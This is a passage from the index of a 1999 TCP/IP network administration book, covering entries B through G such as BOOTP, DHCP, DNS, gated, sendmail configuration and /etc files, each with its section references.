bit masks : 2.2.2. Classless IP Addresses
bit sets : 1.6.2. Transmission Control Protocol
blackhole
interface : B.6. Interface Statements
route : B.9. static Statements
bogusns command
11.6.3. Cache corruption
C.2. named.boot Configuration Commands
bookptab file
9.4. A BOOTP Server
9.6.1. rdist
configuration parameters : 9.4.2. BOOTP extensions
updating : 9.4.2. BOOTP extensions
Boolean values
in dhcpd parameters : 9.5.1. dhcpd.conf
in printcap parameters : 9.2.1. The printcap File
boot
directory (hd) defined : 9.4. A BOOTP Server
file (bf) parameter : 9.4. A BOOTP Server
scripts, starting daemons from : 9.1.1. NFS Daemons
BOOTP (Bootstrap Protocol)
Preface
3.6. Bootstrap Protocol
A.1.1. The dip Script File
clients : D.3.2. Configuration Parameters
expanded by DHCP : 3.6.1. Dynamic Host Configuration Protocol
bootp-2.4.3.tar file : 9.4.2. BOOTP extensions
bootp-DDS2.4.3.tar file : 9.4. A BOOTP Server
bootpd (BOOTP daemon) : 9.4. A BOOTP Server
bootpd file : 9.6.1. rdist
bootpgw (BOOTP gateway) : 9.4.1. BOOTP gateway
BOOTREPLY packet : 3.6. Bootstrap Protocol
BOOTREQUEST packet
3.6. Bootstrap Protocol
9.4. A BOOTP Server
9.4.1. BOOTP gateway
9.5.1. dhcpd.conf
Bootstrap Protocol : (see BOOTP)
Border Gateway Protocol : (see BGP)
border routers : 7.7.1.3. Exterior gateway configuration
braces ({})
configuration statements
7.7.1.1. A host configuration
B.2. The gated Configuration Language
D.3. The dhcpd.conf Configuration File
long variable names : 10.5. sendmail Configuration
macro names : 10.5.2. The Define Macro Command
breakdowns : (see disaster recovery plans)
broadcast addresses : (see addresses)
browsers : 13.1. The World Wide Web
BSD systems
kernel configuration file : 5.3. The BSD Kernel Configuration File
remounting filesystems on : 9.1.3.2. The vfstab and fstab files
BSD-Compress scheme : A.2. The PPP Daemon
buffer overruns : 6.1.5.4. Maximum transmission unit
byte-oriented masks : 2.3. Subnets

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: C

cable tester
11.2. Diagnostic Tools
11.3.1. The ping Command
11.4.3. Checking the Interface with netstat
cables
Category 5 : 11.4.4. Subdividing an Ethernet
checking
6.4.4. Troubleshooting Serial Connections
11.4.3. Checking the Interface with netstat
11.4.4.1. Network hardware problems
Unshielded Twisted Pair (UTP) : 11.4.4. Subdividing an Ethernet
cache : 3.3. Domain Name Service
corruption : 11.6.3. Cache corruption
initialization file : 8.3.3. The Cache Initialization File
single answers : 3.3.4. BIND, resolver, and named
statement
8.3.1.1. Configuring a caching-only nameserver
C.2. named.boot Configuration Commands
caching-only servers
3.3.4. BIND, resolver, and named
8.1.1. BIND Configurations
8.3.1.1. Configuring a caching-only nameserver
cannot connect error : 3.4.1. Simple Mail Transfer Protocol
Canonical Name (CNAME) resource records
8.3.6. The named.hosts File
10.7.1. Modifying Local Information
C.3.1.5. Canonical Name record
carrier-detect (DCD) indicator, monitoring : 6.3.3. chat
central administrator : (see network, administration)
cf/cf directory : 10.4.1. Locating a Sample sendmail.cf File
cf/feature directory : E.3.2. FEATURE
cf/ostype directory : 10.4.1.1. Building a sendmail.cf with m4 macros
cgm image subtype : 3.4.3. Multipurpose Internet Mail Extensions
Challenge Handshake Authentication Protocol : (see CHAP)
challenge string : 6.3.4. PPP Daemon Security
CHAP (Challenge Handshake Authentication Protocol)
6.3.4. PPP Daemon Security
A.2. The PPP Daemon
chap-secrets file : 6.3.4. PPP Daemon Security
Chapman, Brent : 12.1.1. Assessing the Threat
chat script : 6.3.3. chat
chat scripting language
A.2. The PPP Daemon
A.3. chat
escape sequences, listed : A.3. chat
chatkey : A.1.1. The dip Script File
checksums
1.6.2. Transmission Control Protocol
11.8. Protocol Case Study
recalculating
4.2.1. Obtaining an IP Address
5.3.1.1. Options
CIDR (Classless Inter-Domain Routing) : 2.2.2. Classless IP Addresses
address mask
2.2. The IP Address
2.2.2. Classless IP Addresses
blocks : B.11. The Aggregate Statements
cipher : 12.6. Encryption
Cisco routers : 12.5. Access Control
class w, defining : 10.7.1. Modifying Local Information
classes of addresses : (see addresses, classes of)
Classless Inter-Domain Routing : (see CIDR)
clear text : 12.6. Encryption
client statement : B.8.10. The routerdiscovery Statement
CNAME : (see Canonical Name (CNAME) resource records)
Collis field : 11.4.3. Checking the Interface with netstat
collision rate
6.1.1. Determining the Interface Name
11.4.3. Checking the Interface with netstat
reducing : 11.4.4. Subdividing an Ethernet
colon (:)
beginning and ending fields
9.2.1. The printcap File
9.2.2. Solaris Line Printer Service
separating parameters : 9.4. A BOOTP Server
com domain : 3.3.1. The Domain Hierarchy
Commercial Information Exchange (CIX) : 1.1. TCP/IP and the Internet
communications, interpersonal : (see email (electronic mail))
comp.security newsgroups : 12.1.2.2. Use mailing lists to distribute information
Computer Emergency Response Team (CERT) advisories : 12.1.2.2. Use mailing lists to distribute information
Computer Security Resource Clearinghouse : 13.1. The World Wide Web
computer-to-computer services
servers providing : 9. Configuring Network Servers
conditionals in macro definitions : 10.5.2.1. Conditionals
conf directory : 5.3. The BSD Kernel Configuration File
conf/master directory : 8.3.4. The named.local File
confidence factor : 11.1.1. Troubleshooting Hints
configuration
parameters (in dhcpd) : D.3.2. Configuration Parameters
problems : 11.4.1. Troubleshooting with the ifconfig Command
servers : 3.5. Configuration Servers
system, prerequisites for : 4. Getting Started
connection command-line option, in pppd : 6.3.3. chat
connectivity
1.7. Application Layer
(see also firewalls)
troubleshooting : 11.3. Testing Basic Connectivity
content types : 3.4.3. Multipurpose Internet Mail Extensions
Content-Transfer-Encoding headers : 3.4.3. Multipurpose Internet Mail Extensions
Content-Type headers : 3.4.3. Multipurpose Internet Mail Extensions
contiguous blocks : (see addresses, assigning)
control
information : 1.3. TCP/IP Protocol Architecture
statements (in gated) : B.10. Control Statements
convergence of routing, delays in : 7.4.1.1. Running RIP with routed
COPS (Computer Oracle Password and Security) programs : 12.4.3.1. COPS
copy (cp) command, in NFS : 9.1. The Network File System
core gateways
2.4. Internet Routing Architecture
7.5.1. Exterior Gateway Protocol
count field : 11.3.1. The ping Command
count-to-infinity problem : 7.4.1.1. Running RIP with routed
crash
resetting locks after : 9.1.1. NFS Daemons
restarting after : 9.2.2. Solaris Line Printer Service
crises : (see disaster recovery plans)
cron, files run by, in security checks : 12.4.2. Looking for Trouble
crtscts option : 6.3.1. The PPP Daemon
crypto-checksum : 7.4.3. Open Shortest Path First
CSLIP : (see Van Jacobson header compression)
-Ctest.cf argument : 10.8. Testing sendmail.cf
cua devices : 6.4.4. Troubleshooting Serial Connections
curly braces ({})
configuration statements
7.7.1.1. A host configuration
B.2. The gated Configuration Language
D.3. The dhcpd.conf Configuration File
long variable names : 10.5. sendmail Configuration
macro names : 10.5.2. The Define Macro Command
cyrus and cyrusbb mailers : E.3.5. MAILER

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: D

daemons
3.2. The Host Table
5.4. The Internet Daemon
uid : 5.4. The Internet Daemon
DATA command, in SMTP : 3.4.1. Simple Mail Transfer Protocol
data communications model : 1.2. A Data Communications Model
data compression, not provided in SLIP : 6.2.1. The Serial Protocols
Data Link Layer
1.2. A Data Communications Model
5.3.1.2. Pseudo-device
6.1.1. Determining the Interface Name
in PPP : 6.2.1. The Serial Protocols
Data Terminal Ready (DTR) modem control line : A.2. The PPP Daemon
data terminology : 1.3. TCP/IP Protocol Architecture
databases in sendmail
arguments passed : 10.6.2.1. Transforming with a database
defining (K command) : 10.6.2.1. Transforming with a database
datagrams
1.3. TCP/IP Protocol Architecture
1.5.1.1. The datagram
1.7. Application Layer
(see also IP datagrams)
(see also User Datagram Protocol)
connectionless delivery of : 1.6. Transport Layer
converting source address of : 4.2.1. Obtaining an IP Address
forwarding : 5.3.1.1. Options
fragmented
1.5.1.3. Fragmenting datagrams
5.2. Linux Kernel Configuration
headers
2.7.1. Protocol Numbers
2.7.2. Port Numbers
marking end of : 6.2.1. The Serial Protocols
routing : 1.5.1.2. Routing datagrams
silently discarding : 11.8. Protocol Case Study
DCD (Data Carrier Detect) modem control line : A.2. The PPP Daemon
DDN Protocol Handbook : 1.3. TCP/IP Protocol Architecture
DDN security bulletins : 12.1.2.2. Use mailing lists to distribute information
debugging
8.2.1. The Resolver Configuration File
C.1.1. Signal Processing
decentralizing management : 2.3. Subnets
decryption : 12.6. Encryption
dedicated connections
6.3.1. The PPP Daemon
6.4. Installing SLIP
default
domain
3.3.3. Domain Names
8.2.1. The Resolver Configuration File
how used : 3.3.3. Domain Names
gateway
2.5. The Routing Table
4.3. Planning Routing
address : 4. Getting Started
mask : 2.2.2. Classless IP Addresses
passwords : 12.2. User Authentication
route
2.2.2.1. Final notes on IP addresses
2.5. The Routing Table
7.3. Building a Static Routing Table
defining : 7.4.1.1. Running RIP with routed
values : 3.6.1. Dynamic Host Configuration Protocol
defaultdomain file : 9.3. Network Information Service
defaultroute option : 6.3.1. The PPP Daemon
Defense Communications Agency (DCA) : 1.1. TCP/IP and the Internet
define macro (in sendmail)
E.3. m4 sendmail Macros
E.3.1. define
definition statements (in gated) : B.7. Definition Statements
delays, inserting
6.3.2. Dial-Up PPP
6.4.4. Troubleshooting Serial Connections
demultiplexing : 2.7. Protocols, Ports, and Sockets
denial of service, threat of : 12.1.1. Assessing the Threat
dequote database : 10.7.1. Modifying Local Information
DES-encrypted authentication : (see authentication)
designated router : 7.4.3. Open Shortest Path First
destination
1.7. Application Layer
(see also unreachable destinations, detecting)
fields : 2.5. The Routing Table
host : 2.5. The Routing Table
Destination Address
1.5.1.1. The datagram
2.2. The IP Address
Destination Port number
1.6.1. User Datagram Protocol
1.6.2. Transmission Control Protocol
Destination Unreachable Message : 1.5.2. Internet Control Message Protocol
/dev directory : 6.4.4. Troubleshooting Serial Connections
device statement : 5.3.1.3. Devices
dfstab file
9.1.2.1. The share command
9.1.5.1. NFS print services
dgram sockets : 5.4. The Internet Daemon
DHCP (Dynamic Host Configuration Protocol)
Preface
3.6.1. Dynamic Host Configuration Protocol
backwards-compatible : 9.5. DHCP
based on Bootstrap Protocol (BOOTP) : 9.4.2. BOOTP extensions
benefits of : 9.5. DHCP
daemon (dhcpd) : 9.5.1. dhcpd.conf
command : D.2. The dhcpd Command
compiling : D.1. Compiling dhcpd
configuring : D.3. The dhcpd.conf Configuration File
tools reference : D. A dhcpd Reference
using latest versions of : D. A dhcpd Reference
interoperability and : 3.6.1. Dynamic Host Configuration Protocol
options available with : D.3.3. DHCP Options
commonly used : D.3.3.1. Commonly used options
others : D.3.3.2. Other options
dhcpd.conf file : 9.5.1. dhcpd.conf
dhcpd.pid file : D.2. The dhcpd Command
diagnostic tools : 11.2. Diagnostic Tools
dial-up connections : 6.3.1. The PPP Daemon
dial-up IP (dip)
6.3.2. Dial-Up PPP
6.4.2. Dial-Up IP
script file : A.1.1. The dip Script File
sample : A.1.1.1. A sample dip script
for SLIP : 6.4.2. Dial-Up IP
special variables, listed : A.1.1. The dip Script File
tools reference : A.1. Dial-Up IP
dial-up PPP : 6.3.2. Dial-Up PPP
dictionary guessing : 12.2. User Authentication
dig
11.2. Diagnostic Tools
11.3. Testing Basic Connectivity
11.6.4. dig: An Alternative to nslookup
query types : 11.6.4. dig: An Alternative to nslookup
digest multipart subtype : 3.4.3. Multipurpose Internet Mail Extensions
digital signature system : 12.6. Encryption
Dijkstra Shortest Path First (SPF) algorithm : 7.4.3. Open Shortest Path First
dip (dial-up IP)
6.3.2. Dial-Up PPP
6.4.2. Dial-Up IP
script file : A.1.1. The dip Script File
sample : A.1.1.1. A sample dip script
for SLIP : 6.4.2. Dial-Up IP
tools reference : A.1. Dial-Up IP
diphosts file : 6.4.3. SLIP Server Configuration
diplogin command : 6.4.3. SLIP Server Configuration
direct delivery : 3.4.1. Simple Mail Transfer Protocol
directive statements (in gated) : B.3. Directive Statements
directory
requirement for mounting : 9.1.3. Mounting Remote Filesystems
statement : 8.3.1.2. Primary and secondary server configurations
disaster recovery plans
11.10. Summary
12.1.1. Assessing the Threat
12.1.3. Writing a Security Policy
12.8. Words to the Wise
disclosure of information, threat of : 12.1.1. Assessing the Threat
dismounting directories, by booting : 9.1.3.1. The mount command
Distfile : 9.6.1. rdist
distributed
architecture : 7.5.1. Exterior Gateway Protocol
control : 12.1.2. Distributed Control
servers, managing : 9.6. Managing Distributed Servers
Distributed File System (DFS) : 3.7.1. File Sharing
distributing public keys : 12.6. Encryption
dividing problem into manageable pieces : 11.1.1. Troubleshooting Hints
DMBDEF variable : E.4.4. The sendmail K Command
dmesg command : 6.1.1. Determining the Interface Name
DNS (Domain Name Service)
1.7. Application Layer
3.1. Names and Addresses
3.3. Domain Name Service
(see also name service)
benefits of
3.3. Domain Name Service
3.3.4. BIND, resolver, and named
querying : 10.7.1. Modifying Local Information
starting : 5.4. The Internet Daemon
docs/warnings file : 12.4.3.1. COPS
documentation
historical, of problems : 11.1.1. Troubleshooting Hints
using : 4.6. Informing the Users
domain
1.7. Application Layer
(see also domain)
administration
3.3.4. BIND, resolver, and named
8.1. BIND: UNIX Name Service
contacting : 13.6. The White Pages
allocating : (see Network Information Center)
creating : 3.3.2. Creating Domains and Subdomains
downloading an entire : 8.4. Using nslookup
entry, in resolv.conf : 8.2.1. The Resolver Configuration File
hierarchy
3.3.1. The Domain Hierarchy
8.1. BIND: UNIX Name Service
name (dn)
3.3.3. Domain Names
4. Getting Started
application form : 4.4.1. Obtaining a Domain Name
fully qualified : 3.3.3. Domain Names
in NIS : 9.3. Network Information Service
obtaining : 4.4.1. Obtaining a Domain Name
parameter : 9.4. A BOOTP Server
name servers : 4.2.1.1. Assigning host addresses
parameter : 9.4. A BOOTP Server
organizational : 3.3.1. The Domain Hierarchy
DOMAIN macro (in sendmail) : E.3. m4 sendmail Macros
Domain Name Pointer records : (see PTR resource records)
Domain Name Service : (see DNS)
DOMAIN source file (in sendmail)
E.3.2. FEATURE
E.3.4. DOMAIN
mail relay defines, listed : E.3.4. DOMAIN
domain/named.root : 11.6.3. Cache corruption
domainname command : 9.3. Network Information Service
domaintable database : 10.7.1. Modifying Local Information
dots (..) for domain name : C.3.1. Standard Resource Records
dotted decimal notation : 2.3. Subnets
ds.internic.net : 13.4. Retrieving RFCs
dummy interface : 5.2. Linux Kernel Configuration
dump : 7.7.2. Testing the Configuration
dynamic
assignment of addresses
3.6.1. Dynamic Host Configuration Protocol
4.2.1.1. Assigning host addresses
automatic under DHCP : 9.5. DHCP
circumstances favoring : 4.3. Planning Routing
routing : 7.1. Common Routing Configurations
routing table : 4.3. Planning Routing
Dynamic DNS : 3.6.1. Dynamic Host Configuration Protocol
Dynamic Host Configuration Protocol : (see DHCP)
dynamic-bootp flag : D.3.2. Configuration Parameters
dynamic-bootp-lease-cutoff parameter : 9.5.1. dhcpd.conf
dynamic-bootp-lease-length parameter : 9.5.1. dhcpd.conf
dynamically allocated ports : 2.7.3. Sockets

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: E

Echo Message
1.5.2. Internet Control Message Protocol
7.2. The Minimal Routing Table
edit FYIs (For Your Information) : 13.7. Summary
edu domain : 3.3.1. The Domain Hierarchy
EGP (Exterior Gateway Protocol)
2.4. Internet Routing Architecture
7.5.1. Exterior Gateway Protocol
11.9. Simple Network Management Protocol
neighbors : 7.5.1. Exterior Gateway Protocol
statement (in gated) : B.8.6. The egp Statement
EHLO command, in ESMTP
3.4.3. Multipurpose Internet Mail Extensions
10.8. Testing sendmail.cf
email (electronic mail)
1.7. Application Layer
(see also mail, servers; addresses)
delivering : 1.7. Application Layer
for file transfers : 3.4.3. Multipurpose Internet Mail Extensions
growing importance of : 9.7.2. IMAP Server
for RFCs : 13.4.1. Retrieving RFCs by mail
emergencies : (see disaster recovery plans)
encapsulation : 1.3. TCP/IP Protocol Architecture
of datagrams : 1.4. Network Access Layer
of mail messages : 3.4.3. Multipurpose Internet Mail Extensions
encoding
data : 3.4.3. Multipurpose Internet Mail Extensions
text
3.4.3. Multipurpose Internet Mail Extensions
12.6. Encryption
encryption
4.2.1. Obtaining an IP Address
6.3.4. PPP Daemon Security
12.6. Encryption
multipart subtype : 3.4.3. Multipurpose Internet Mail Extensions
uses for : 12.6. Encryption
end systems : (see hosts)
end-to-end
data encryption : 12.6. Encryption
routes
2.5. The Routing Table
3.4.1. Simple Mail Transfer Protocol
7.4.3. Open Shortest Path First
7.5.2. Border Gateway Protocol
B.10. Control Statements
enriched text subtype : 3.4.3. Multipurpose Internet Mail Extensions
enterprise
networks : 4.1. Connected and Non-Connected Networks
subnets : 5.2. Linux Kernel Configuration
enterpriseSpecific trap : 11.9. Simple Network Management Protocol
equal-cost multi-path routing : 7.4.3. Open Shortest Path First
equivalent hosts : 12.2.5. Secure the r Commands
error
correction, not provided in SLIP : 6.2.1. The Serial Protocols
detection
1.5.1. Internet Protocol
11.8. Protocol Case Study
end-to-end : 1.6. Transport Layer
human : 11.1.1. Troubleshooting Hints
messages
passing to user : 10.6.2. Transforming the Address
in troubleshooting
11.1.1. Troubleshooting Hints
11.3. Testing Basic Connectivity
recovery : 1.5.1. Internet Protocol
ESMTP (Extended SMTP)
3.4.3. Multipurpose Internet Mail Extensions
10.8. Testing sendmail.cf
private extensions to : 3.4.3. Multipurpose Internet Mail Extensions
ESTABLISHED state : B.8.5. The bgp Statement
/etc directory
/etc/aliases file
3.4.1. Simple Mail Transfer Protocol
9.3. Network Information Service
/etc/aspppd.cf file : 6.3.6. Solaris PPP
/etc/auto_direct file : 9.1.4. NFS Automounter
/etc/auto_home file : 9.1.4. NFS Automounter
/etc/auto_master file : 9.1.4. NFS Automounter
/etc/bootptab file
9.4. A BOOTP Server
9.6.1. rdist
configuration parameters : 9.4.2. BOOTP extensions
updating : 9.4.2. BOOTP extensions
/etc/default/passwd file : 12.2.1. The Shadow Password File
/etc/defaultdomain file : 9.3. Network Information Service
/etc/dfs/dfstab file
9.1.2.1. The share command
9.1.5.1. NFS print services
/etc/dhcpd.conf file : 9.5.1. dhcpd.conf
/etc/diphosts file : 6.4.3. SLIP Server Configuration
/etc/ethers file
3.5.1. Reverse Address Resolution Protocol
9.3. Network Information Service
11.4.2.1. ARP problem case study
/etc/exports file : 9.1.5.1. NFS print services
/etc/fstab file : 9.1.3.2. The vfstab and fstab files
/etc/gated.conf file : 7.6. Gateway Routing Daemon
creating : 7.7.2.1. Running gated at startup
/etc/gateways file : 7.3.1.1. Installing static routes at startup
reading at startup : 7.4.1.1. Running RIP with routed
/etc/group file
9.3. Network Information Service
13.2.1. Creating an FTP Server
/etc/hosts file
3.2. The Host Table
6.1. The ifconfig Command
7.3. Building a Static Routing Table
9.1.4. NFS Automounter
9.3. Network Information Service
creating : 3.2. The Host Table
as maps : 3.3.5. Network Information Service
modifying : 3.3.4. BIND, resolver, and named
/etc/hosts.allow file : 12.5.1.1. tcpd access control files
/etc/hosts.deny file : 12.5.1.1. tcpd access control files
/etc/hosts.equiv file : 12.2.5. Secure the r Commands
in security checks : 12.4.2. Looking for Trouble
/etc/hosts.lpd file : 9.2.1.1. LPD security
in security checks : 12.4.2. Looking for Trouble
/etc/inetd.conf file : 9.4. A BOOTP Server
editing in tcpd : 12.5.1. wrapper
removing daemons from : 12.3.1. Remove Unnecessary Software
in security checks : 12.4.2. Looking for Trouble
/etc/init.d directory : 9.1.1. NFS Daemons
autofs script : 9.1.4. NFS Automounter
inetinit script : 7.3.1.1. Installing static routes at startup
sendmail script : 10.2. Running sendmail as a Daemon
/etc/lp directory : 9.2.2. Solaris Line Printer Service
/etc/lp/Systems file : 9.2.2. Solaris Line Printer Service
/etc/named.boot file
11.6.3. Cache corruption
C.1. The named Command
/etc/named.ca file : 11.6.3. Cache corruption
/etc/named.pid file : 11.6.3. Cache corruption
/etc/networks file
3.2. The Host Table
6.1.3. Assigning a Subnet Mask
7.3. Building a Static Routing Table
9.3. Network Information Service
as maps : 3.3.5. Network Information Service
/etc/passwd file
6.3.5. PPP Server Configuration
6.4.3. SLIP Server Configuration
9.1.5. NFS Authentication Server
9.3. Network Information Service
10.4.1.1. Building a sendmail.cf with m4 macros
13.2.1. Creating an FTP Server
protecting : 12.2. User Authentication
in security checks : 12.4.2. Looking for Trouble
/etc/pcnfsd.conf file : 9.1.5.1. NFS print services
/etc/ppp directory, protecting : A.2. The PPP Daemon
/etc/ppp/options file
6.3.1. The PPP Daemon
6.3.2. Dial-Up PPP
A.2. The PPP Daemon
/etc/ppp/options.device file : A.2. The PPP Daemon
/etc/printcap file : 9.2.1. The printcap File
/etc/protocols file
2.7.1. Protocol Numbers
5.4. The Internet Daemon
9.3. Network Information Service
/etc/rc.d/rc.inet1 script : 7.3.1.1. Installing static routes at startup
/etc/rc.d/rc.M startup script : 10.2. Running sendmail as a Daemon
/etc/resolv.conf file
8.1.1. BIND Configurations
8.2. Configuring the Resolver
11.6.4. dig: An Alternative to nslookup
/etc/services file
5.4. The Internet Daemon
9.3. Network Information Service
9.4. A BOOTP Server
9.7.1. POP Server
9.7.2. IMAP Server
/etc/shadow file : 12.2.1. The Shadow Password File
/etc/ssh_known_hosts file : 12.2.6. Secure Shell
/etc/system file : 5.1. Kernel Configuration
/etc/yp.conf file : 9.3. Network Information Service
Ethernet
1.5.1.3. Fragmenting datagrams
4.2.2. Defining the Subnet Mask
addresses : 1.4. Network Access Layer
identifying DHCP client by : 9.5.1. dhcpd.conf
keeping records of : 11.4.2. Troubleshooting with the arp Command
cards, configuring
5.2. Linux Kernel Configuration
6.1.1. Determining the Interface Name
fast ports (100 Mbps) : 11.4.4. Subdividing an Ethernet
FreeBSD device drivers, listed : 5.3.1.3. Devices
interfaces
5.3.1.3. Devices
6.1. The ifconfig Command
6.1.5.2. ARP and trailers
6.1.5.6. Putting ifconfig in the startup files
LAN : 5.2. Linux Kernel Configuration
networks : 1.4. Network Access Layer
subdividing : 11.4.4. Subdividing an Ethernet
support in BSD : 5.3.1.2. Pseudo-device
switch : 11.4.4. Subdividing an Ethernet
ethers file
3.5.1. Reverse Address Resolution Protocol
9.3. Network Information Service
11.4.2.1. ARP problem case study
executable files, in security checks : 12.4.2. Looking for Trouble
expect nothing ('')
6.3.3. chat
A.3. chat
expect scripting language : A.1.1.1. A sample dip script
expire fields : 12.2.1. The Shadow Password File
EXPN command
in ESMTP : 3.4.3. Multipurpose Internet Mail Extensions
in SMTP : 3.4.1. Simple Mail Transfer Protocol
export statement (in gated) : B.10.2. The export Statement
exports file : 9.1.5.1. NFS print services
Extended SMTP (ESMTP)
3.4.3. Multipurpose Internet Mail Extensions
10.8. Testing sendmail.cf
private extensions to : 3.4.3. Multipurpose Internet Mail Extensions
extensibility
in monitors : 11.9. Simple Network Management Protocol
of SMTP : 3.4.3. Multipurpose Internet Mail Extensions
Exterior Gateway Protocol : (see EGP)
exterior routing protocols : 7.5. Exterior Routing Protocols
External-body message subtype : 3.4.3. Multipurpose Internet Mail Extensions

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: F

fallbackhost : E.4.2. sendmail Options
fast ports : (see Ethernet)
fax-support, built-in : E.3.5. MAILER
FDDI network : 6.1.5.4. Maximum transmission unit
backbone : 11.8. Protocol Case Study
FEATURE macro : 10.4.1.1. Building a sendmail.cf with m4 macros
in sendmail
E.3. m4 sendmail Macros
E.3.2. FEATURE
features, listed : E.3.2. FEATURE
Federal Information Exchanges (FIXs) : 1.1. TCP/IP and the Internet
Fiber Digital Data Interface (FDDI)
1.7. Application Layer
5.3.1.2. Pseudo-device
(see also FDDI network)
file
checking : 12.4.2.1. Checking files
finding : 13.3. Finding Files
lock requests, handling : 9.1.1. NFS Daemons
servers, names of : 4.5.1. File servers
sharing
1.7. Application Layer
3.7.1. File Sharing
different from file transfer : 3.7.1. File Sharing
transfer, interactive : 1.7. Application Layer
File Transfter Protocol : (see FTP)
filters
1.7. Application Layer
(see also packet, filters)
filters, provided by monitors : 11.9. Simple Network Management Protocol
FIN bit : 1.6.2. Transmission Control Protocol
find command, in security checks : 12.4.2.1. Checking files
finger
monitoring access to daemon : 12.5.1. wrapper
service : 5.4. The Internet Daemon
target for intruders : C.3.1.8. Well-Known Services record
finite state machine (FSM)
diagrams or tables : B.4. Trace Statements
transitions, tracing : B.8.10. The routerdiscovery Statement
fires : 12.1.1. Assessing the Threat
firewalls
9.3.2. NIS+
12.7. Firewalls
blocking troubleshooting measures : 11.1.1. Troubleshooting Hints
defined : 12.7. Firewalls
disadvantage of : 12.7.1. Functions of the firewall
functions of : 12.7.1. Functions of the firewall
limiting connectivity : 10.7.1. Modifying Local Information
need for professional installation : 12.7.1. Functions of the firewall
routing control within
12.7.2. Routing control
E.4.2. sendmail Options
using BSD system as : 5.3.1.1. Options
using Linux system as : 5.2. Linux Kernel Configuration
FIRST mailing list : 12.1.2.2. Use mailing lists to distribute information
flags
2.5. The Routing Table
7.2. The Minimal Routing Table
defining interface characteristics : 6.1.2. Checking the Interface with ifconfig
Flags field : 1.5.1.3. Fragmenting datagrams
flooding
7.4.3. Open Shortest Path First
B.8.1. The ospf Statement
flow control
1.5.2. Internet Control Message Protocol
1.6.2. Transmission Control Protocol
foo.org database : 12.4.3.2. SATAN
Forum of Incident Response and Security Teams (FIRST) : 12.1.2.2. Use mailing lists to distribute information
.forward file : 10.3.1. Personal mail forwarding
forwarders command
8.3.1.1. Configuring a caching-only nameserver
C.2. named.boot Configuration Commands
forwarding : 1.5.1.4. Passing datagrams to the transport layer
fragmentation : 1.5.1.3. Fragmenting datagrams
avoiding : 6.1.5.4. Maximum transmission unit
Fragmentation Offset field : 1.5.1.3. Fragmenting datagrams
fragmented datagrams : (see datagrams)
frames : 1.3. TCP/IP Protocol Architecture
FreeBSD systems
5.3. The BSD Kernel Configuration File
5.3.1.1. Options
fstab file : 9.1.3.2. The vfstab and fstab files
FTP (File Transfer Protocol)
1.7. Application Layer
9.6. Managing Distributed Servers
anonymous : 13.2. Anonymous FTP
problem for firewalls : 12.7.1. Functions of the firewall
server, creating : 13.2.1. Creating an FTP Server
ftp.bunyip.com : 13.3.1.1. archie client software
ftp.isc.org : 8.3.4. The named.local File
ftp://rs.internic.net/netinfo/networks.txt : 3.2. The Host Table
full duplex : 6.3.5. PPP Server Configuration
full zone transfers : 3.3.4. BIND, resolver, and named

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: G

g3fax image subtype : 3.4.3. Multipurpose Internet Mail Extensions
gated (Gateway Routing Daemon) : 7.6. Gateway Routing Daemon
command : B.1. The gated Command
commands, listed : 7.7. Configuring gated
configuring : 7.7. Configuring gated
exterior gateway : 7.7.1.3. Exterior gateway configuration
host routing : 7.7.1.1. A host configuration
interior gateway : 7.7.1.2. Interior gateway configurations
language for : B.1.1. Signal Processing
documentation for : 13.1. The World Wide Web
ripquery and : 11.2. Diagnostic Tools
running at startup : 7.7.2.1. Running gated at startup
testing the configuration : 7.7.2. Testing the Configuration
tools reference : B. A gated Reference
when to use : 7.7.1.3. Exterior gateway configuration
Gated Consortium : 7.7. Configuring gated
gated.conf configuration statements : 7.7.1.1. A host configuration
gated.conf file : 7.6. Gateway Routing Daemon
creating : 7.7.2.1. Running gated at startup
gated_dump file : B.1.1. Signal Processing
gateway
1.5.1.1. The datagram
2.5. The Routing Table
4.3. Planning Routing
active : 7.4.1.1. Running RIP with routed
addresses : 7.3. Building a Static Routing Table
in BSD kernel : 5.3.1.1. Options
intermediate : 11.5.2. Tracing Routes
intermediate systems (IS) : B.8.4. The isis Statement
local : 2.5. The Routing Table
Gateway Routing Daemon : (see gated)
Gateway to Gateway Protocol (GGP) : 2.4. Internet Routing Architecture
gateways file : 7.3.1.1. Installing static routes at startup
reading at startup : 7.4.1.1. Running RIP with routed
gathering information : (see information)
gdc command : 7.7.2. Testing the Configuration
GENERIC kernel
5.3. The BSD Kernel Configuration File
5.3.1.3. Devices
geographic domains : 3.3.1. The Domain Hierarchy
get command
6.3.2. Dial-Up PPP
6.4.2. Dial-Up IP
GGP (Gateway to Gateway Protocol) : 2.4. Internet Routing Architecture
gif image subtype : 3.4.3. Multipurpose Internet Mail Extensions
global
options : 9.5.1. dhcpd.conf
template : 9.4. A BOOTP Server
glue records
C.2. named.boot Configuration Commands
C.3.1.3. Address record
gov domain : 3.3.1. The Domain Hierarchy
graph, directed : 7.4.3. Open Shortest Path First
graphic images
moving : 3.4.3. Multipurpose Internet Mail Extensions
still : 3.4.3. Multipurpose Internet Mail Extensions
grep
6.1.5.6. Putting ifconfig in the startup files
